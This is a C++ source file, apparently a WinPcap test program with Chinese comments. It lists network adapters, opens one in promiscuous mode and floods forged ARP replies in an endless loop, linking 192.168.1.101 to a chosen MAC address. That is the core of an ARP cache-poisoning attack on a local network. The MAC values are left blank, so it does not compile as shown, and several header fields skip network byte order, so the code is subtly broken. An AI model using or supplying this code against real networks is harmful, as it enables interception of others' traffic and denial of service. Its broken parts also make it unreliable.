// TestArp.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "pcap.h "
/* 4 bytes IP address */
struct ip_address
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
};
struct Hard_Mac //48位的MAC地址
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
u_char byte5;
u_char byte6;
};
struct Ethernet_Header //112位 48位SMac+48位SMac+16位协议类型 以太网头
{
Hard_Mac DMac; //(1)48位目MAC地址
Hard_Mac SMac; //(2)48位源MAC地址
u_short PType; //(3)16位协议类型
};
struct arphdr //arp头结构
{
Ethernet_Header eth_header;
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
Hard_Mac arp_sha;
ip_address arp_spa;
Hard_Mac arp_tha;
ip_address arp_tpa;
};
int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t *alldevs;
pcap_if_t *d;
pcap_t *fp;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
/* Retrieve the device list */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)/n", d->description);
else
printf(" (No description available)/n");
}
if(i==0)
{
printf("/nNo interfaces found! Make sure WinPcap is installed./n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
/* Check if the user specified a valid adapter */
if(inum < 1 || inum > i)
{
printf("/nAdapter number out of range./n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* Jump to the selected adapter */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Open the adapter */
if ((fp = pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture. It doesn't matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", argv[1]);
return 2;
}
while (true)
{
arphdr arp;
arp.eth_header.PType = 0x0806;
// target
arp.eth_header.DMac.byte1 = ;
arp.eth_header.DMac.byte2 = ;
arp.eth_header.DMac.byte3 = ;
arp.eth_header.DMac.byte4 = ;
arp.eth_header.DMac.byte5 = ;
arp.eth_header.DMac.byte6 = ;
arp.arp_tha.byte1 = ;
arp.arp_tha.byte2 = ;
arp.arp_tha.byte3 = ;
arp.arp_tha.byte4 = ;
arp.arp_tha.byte5 = ;
arp.arp_tha.byte6 = ;
arp.arp_tpa.byte1 = 192;
arp.arp_tpa.byte2 = 168;
arp.arp_tpa.byte3 = 1;
arp.arp_tpa.byte4 = 102;
//sender
arp.eth_header.SMac.byte1 = ;
arp.eth_header.SMac.byte2 = ;
arp.eth_header.SMac.byte3 = ;
arp.eth_header.SMac.byte4 = ;
arp.eth_header.SMac.byte5 = ;
arp.eth_header.SMac.byte6 = ;
arp.arp_sha.byte1 = ;
arp.arp_sha.byte2 = ;
arp.arp_sha.byte3 = ;
arp.arp_sha.byte4 = ;
arp.arp_sha.byte5 = ;
arp.arp_sha.byte6 = ;
arp.arp_spa.byte1 = 192;
arp.arp_spa.byte2 = 168;
arp.arp_spa.byte3 = 1;
arp.arp_spa.byte4 = 101;
arp.arp_hdr = 0x0001;
arp.arp_pro = 0x0800;
arp.arp_hln = 6;
arp.arp_pln = 4;
arp.arp_opt = 0x0002;
/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
&arp.eth_header.DMac.byte1, // buffer with the packet
sizeof(arp) // size
) != 0)
{
fprintf(stderr,"/nError sending the packet: %s/n", pcap_geterr(fp));
return 3;
}
//Sleep(10);
//printf("Error sending the packet: %s/n", "sss");
}
pcap_close(fp);
return 0;
}